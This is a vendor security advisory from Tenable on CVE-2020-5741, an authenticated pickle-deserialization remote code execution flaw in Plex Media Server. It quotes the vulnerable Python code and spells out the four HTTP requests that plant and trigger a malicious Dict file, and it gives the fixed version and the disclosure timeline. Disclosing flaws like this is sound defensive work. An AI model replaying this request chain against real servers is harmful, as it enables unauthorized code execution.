Facebook Google Plus Twitter LinkedIn YouTube RSS Menu Search Resource - BlogResource - WebinarResource - ReportResource - Eventicons_066 icons_067icons_068icons_069icons_070

Plex Media Server Authenticated Python Deserialization / RCE (Windows)

Medium

Synopsis

The Plex Media Server plugin framework contains a flaw that allows a remote attacker (authenticated with admin privileges) to execute arbitrary Python code within the context of the current OS user. Specifically, when a "Dict" file is loaded for a given plugin, the contents are unpickled without validation. The Dict file can be delivered remotely via the camera upload feature.

Let's first take a look at the unpickling piece.

This logic can be observed in C:\Program Files (x86)\Plex\Plex Media Server\Resources\Plug-ins-513b381af\Framework.bundle\Contents\Resources\Versions\1\Python\PMS\Dict.py:

def __load():
  global __dict
  path = "%s/Dict" % Data.__dataPath
  if os.path.exists(path):
    try:
      __dict = Data.__unpickle(path)
      PMS.Log("(Framework) Loaded the dictionary file")
    except:
      PMS.Log("(Framework) The dictionary file is corrupt & couldn't be loaded")
      __loadDefaults()
  else:
    __loadDefaults()

And if we observe the definition of Data.__unpickle in C:\Program Files (x86)\Plex\Plex Media Server\Resources\Plug-ins-513b381af\Framework.bundle\Contents\Resources\Versions\1\Python\PMS\Data.py:

def __unpickle(path):
  f = open(path, "r")
  obj = pickle.load(f)
  f.close()
  return obj

It's clear that the pickle.loads() function is used to deserialize the contents of Dict. An attacker can craft a malicious Dict file such that when it is loaded, a payload of the attacker's choosing will be executed.

The delivery and trigger mechanisms require a few steps, but this can be automated. Here is the general flow:

  1. Create a photo library at C:\Users\Public (can be different).

    POST /library/sections?name=EvilLib&type=photo&agent=com.plexapp.agents.none&scanner=Plex%20Photo%20Scanner&language=en&importFromiTunes=&enableAutoPhotoTags=&location=C:\Users\Public
  2. Using location ID from response, upload Dict file in this library. The directory structure will be created.

    POST /library/metadata?createdAt=1171387901&filename=myfolder/Plex+Media+Server/Plug-in+Support/Data/com.plexapp.system/Dict&overwrite=true&locationID=8&sectionID=3&type=13
  3. Modify local app data path to point to this location

    PUT /:/prefs?LocalAppDataPath=C:\Users\Public\myfolder
  4. Restart com.plexapp.system

    GET /:/plugins/com.plexapp.system/restart

Proof of Concept

auth_dict_unpickle_rce_exploit_tra_2020_32.py

Solution

Upgrade to Plex Media Server 1.19.3.

Disclosure Timeline

03/31/2020 - Tenable reports vulnerability to Plex
03/31/2020 - Automated reply from Plex. Will be reviewed within 3 days.
03/31/2020 - Plex thanks us for the report. They will get back to us as soon as they have an update.
04/01/2020 - Tenable ACKs.
04/03/2020 - Plex doesn't think it's an RCE because the user would need an admin token. They are planning to make some changes though, and want to make sure they didn't miss anything.
04/04/2020 - Tenable emphasizes that this is an authenticated RCE and explains why it is severe.
04/10/2020 - Tenable follows up.
04/22/2020 - Plex has deployed this in an upcoming version. Describes their fix.
04/22/2020 - Tenable tests beta patch. Vuln not fixed.
04/23/2020 - Plex indicates that the fix should be in 1.19.3. Shares an alpha for me to test.
04/23/2020 - Tenable tests the alpha, and it mitigates the remote code execution.
05/01/2020 - Tenable asks for an update.
05/05/2020 - Plex says the goal is to release this week. They will release a forum statement too.
05/07/2020 - Tenable acknowledges and shares CVE number.
05/07/2020 - Plex publishes 1.19.3 and releases a forum statement.
05/07/2020 - Tenable acknowledges. We will publish our advisory today as well.

All information within TRA advisories is provided “as is”, without warranty of any kind, including the implied warranties of merchantability and fitness for a particular purpose, and with no guarantee of completeness, accuracy, or timeliness. Individuals and organizations are responsible for assessing the impact of any actual or potential security vulnerability.

Tenable takes product security very seriously. If you believe you have found a vulnerability in one of our products, we ask that you please work with us to quickly resolve it in order to protect customers. Tenable believes in responding quickly to such reports, maintaining communication with researchers, and providing a solution in short order.

For more details on submitting vulnerability information, please see our Vulnerability Reporting Guidelines page.

If you have questions or corrections about this advisory, please email [email protected]

Risk Information

CVE ID: CVE-2020-5741
Tenable Advisory ID
TRA-2020-32
Credit

Chris Lyne

CVSSv2 Base / Temporal Score
6.0 / 5.0
CVSSv2 Vector
(AV:N/AC:M/Au:S/C:P/I:P/A:P)
Affected Products
Plex Media Server prior to 1.19.3
Risk Factor
Medium

Advisory Timeline

05/07/2020 - Advisory released
tenable.io

Enjoy full access to a modern, cloud-based vulnerability management platform that enables you to see and track all of your assets with unmatched accuracy.

Your Tenable.io Vulnerability Management trial also includes Tenable Lumin, Tenable.io Web Application Scanning and Tenable.cs Cloud Security.

tenable.io BUY

Enjoy full access to a modern, cloud-based vulnerability management platform that enables you to see and track all of your assets with unmatched accuracy. Purchase your annual subscription today.

65 assets

Choose Your Subscription Option:

Buy Now

Try Nessus Professional Free

FREE FOR 7 DAYS

Nessus® is the most comprehensive vulnerability scanner on the market today. Nessus Professional will help automate the vulnerability scanning process, save time in your compliance cycles and allow you to engage your IT team.

Buy Nessus Professional

Nessus® is the most comprehensive vulnerability scanner on the market today. Nessus Professional will help automate the vulnerability scanning process, save time in your compliance cycles and allow you to engage your IT team.

Buy a multi-year license and save. Add Advanced Support for access to phone, community and chat support 24 hours a day, 365 days a year.

Select Your License

Buy a multi-year license and save.

Add Support and Training

Tenable.io

Enjoy full access to a modern, cloud-based vulnerability management platform that enables you to see and track all of your assets with unmatched accuracy.

Your Tenable.io Vulnerability Management trial also includes Tenable Lumin, Tenable.io Web Application Scanning and Tenable.cs Cloud Security.

Tenable.io BUY

Enjoy full access to a modern, cloud-based vulnerability management platform that enables you to see and track all of your assets with unmatched accuracy. Purchase your annual subscription today.

65 assets

Choose Your Subscription Option:

Buy Now

Try Tenable.io Web Application Scanning

Enjoy full access to our latest web application scanning offering designed for modern applications as part of the Tenable.io platform. Safely scan your entire online portfolio for vulnerabilities with a high degree of accuracy without heavy manual effort or disruption to critical web applications. Sign up now.

Your Tenable Web Application Scanning trial also includes Tenable.io Vulnerability Management, Tenable Lumin and Tenable.cs Cloud Security.

Buy Tenable.io Web Application Scanning

Enjoy full access to a modern, cloud-based vulnerability management platform that enables you to see and track all of your assets with unmatched accuracy. Purchase your annual subscription today.

5 FQDNs

$3,578

Buy Now

Try Tenable.io Container Security

Enjoy full access to the only container security offering integrated into a vulnerability management platform. Monitor container images for vulnerabilities, malware and policy violations. Integrate with continuous integration and continuous deployment (CI/CD) systems to support DevOps practices, strengthen security and support enterprise policy compliance.

Buy Tenable.io Container Security

Tenable.io Container Security seamlessly and securely enables DevOps processes by providing visibility into the security of container images – including vulnerabilities, malware and policy violations – through integration with the build process.

Try Tenable Lumin

Visualize and explore your Cyber Exposure, track risk reduction over time and benchmark against your peers with Tenable Lumin.

Your Tenable Lumin trial also includes Tenable.io Vulnerability Management, Tenable.io Web Application Scanning and Tenable.cs Cloud Security.

Buy Tenable Lumin

Contact a Sales Representative to see how Lumin can help you gain insight across your entire organization and manage cyber risk.

Try Tenable.cs

Enjoy full access to detect and fix cloud infrastructure misconfigurations and view runtime vulnerabilities. Sign up for your free trial now.

Your Tenable.cs Cloud Security trial also includes Tenable.io Vulnerability Management, Tenable Lumin and Tenable.io Web Application Scanning.

Contact a Sales Rep to Buy Tenable.cs

Contact a Sales Representative to learn more about Tenable.cs Cloud Security and see how easy it is to onboard your cloud accounts and get visibility into both cloud misconfigurations and vulnerabilities within minutes.

Try Nessus Expert Free

FREE FOR 7 DAYS

Built for the modern attack surface, Nessus Expert enables you to see more and protect your organization from vulnerabilities from IT to the cloud.

Already have Nessus Professional?
Upgrade to Nessus Expert free for 7 days.

Buy Nessus Expert

Built for the modern attack surface, Nessus Expert enables you to see more and protect your organization from vulnerabilities from IT to the cloud.

Select Your License

Promotional pricing extended until December 31st.
Buy a multi-year license and save more.

Add Support and Training